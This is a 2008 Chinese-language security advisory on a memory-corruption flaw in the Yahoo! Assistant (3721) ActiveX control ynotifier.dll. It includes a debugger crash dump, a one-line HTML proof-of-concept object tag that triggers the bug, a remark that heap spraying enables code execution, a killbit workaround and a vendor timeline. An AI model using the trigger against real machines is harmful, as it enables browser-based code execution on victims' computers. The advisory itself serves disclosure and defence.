Yahoo! 助手(3721) ActiveX远程代码执行漏洞
来源:
发现者: Sowhat of Nevis Labs
日期: 2008.05.06
http://hi.baidu.com/secway/blog/item/d9b45dddf0603bdc8d1029a9.html
http://secway.org/advisory/AD20080506EN.txt
http://secway.org/advisory/AD20080506CN.txt
CVE: N/A
厂商
Yahoo! CN
受影响版本:
Yahoo! Assistant<=3.6 (04/23/2008之前版本)
Overview:
Yahoo!助手(原3721网络助手),是一个IE下的BHO (Browser Helper Object).
Yahoo!助手有许多功能,例如IE设置修复,安全防护,删除浏览的历史信息,拦截广告,等等.
更多信息,请参考
http://cn.zs.yahoo.com/
细节:
漏洞存在于ynotifier.dll这个ActiveX控件.
成功利用此漏洞可以使得攻击者能够在安装了Yahoo!助手的电脑上执行任意代码.
成功利用此漏洞需要诱使用户访问特定网页.
在通过IE初始化Ynoifier COM对象时,会出现一个可利用的内存破坏漏洞.
(c78.fa0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00e85328 ebx=001ada20 ecx=4080624c edx=00128474 esi=020cb5f0 edi=00000000
eip=43f50743 esp=001283e0 ebp=00128478 iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246
43f50743 ?? ???
637a8b47 8b45f8 mov eax,[ebp-0x8]
637a8b4a 8b08 mov ecx,[eax]
637a8b4c 8d55fc lea edx,[ebp-0x4]
637a8b4f 52 push edx
637a8b50 6a01 push 0x1
637a8b52 50 push eax
637a8b53 ff5158 call dword ptr [ecx+0x58] ; ds:0023:408062a4=43f50743
此处虚函数指向了一个无效的数据.
利用堆填充技术,攻击者可以通过利用此漏洞执行任意代码.
Proof of Concept:
只需要下面这行代码保存成HTML文件,即可触发漏洞
<object classid=’clsid:2283BB66-A15D-4AC8-BA72-9C8C9F5A1691′>
Workaround:
对此ActiveX设置一个Killbit.
厂商回应:
2008.04.23 通过邮件通知厂商
2008.04.23 厂商回复,开发补丁
2008.04.23 补丁开发完毕,但厂商希望能够推迟公布细节,因为厂商需要时间推送补丁
2008.05.06 发布公告.(厂商没有发布任何公告)